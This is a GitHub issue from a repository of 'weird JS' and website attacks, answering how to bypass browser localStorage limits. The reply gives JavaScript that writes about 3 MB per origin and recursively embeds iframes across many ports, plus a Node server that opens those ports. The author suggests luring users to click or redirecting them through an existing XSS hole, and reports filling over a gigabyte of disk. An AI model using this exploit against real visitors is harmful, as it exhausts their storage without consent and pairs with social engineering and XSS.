khno / weirdJs

分享各种怪异的JS代码、各种网站攻击、以及探讨一些冷门的问题
https://github.com/khno/weirdJs/issues
25 stars 1 forks source link

如何实现 localStorage (漏洞)无限存储? #5

Open xsf0105 opened 5 years ago

xsf0105 commented 4 years ago

端口上做手脚,因为端口是可控的,我们可以开一个服务器监听很多个端口,然后输出的页面使用 iframe 进行递归包含。

(function(){
    var maxPort = ...;

    // 写文件
    var s = "";
    for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
    }
    localStorage.setItem('k', s);

    var port = parseInt(location.port) + 1;
    if(port > maxPort) return;

    if(port % 50 == 0){
        //每50个重定向一次,防止崩溃
        window.location.href = url;
    } else {
        // 新添加iframe
        var url = "http://example.com:" + port;
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
    }
})();

用 node 架服务器,开不同端口:

var http = require('http');
var fs = require('fs');

var content = fs.readFileSync('./index.html');

var maxPort = ...;

for(var port = 1000; port < maxPort; port++){
    http.createServer(function (request, response) {
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
        response.write(content);
        response.end();
    }).listen(port);
}

我们可以给页面加点装饰,诱导用户点击。也可以使用现有的XSS漏洞重定向过去。

测试结果

100个端口有几乎500MB image

200个端口则有1.17个G image

如果将端口调整至2000个 image

Over!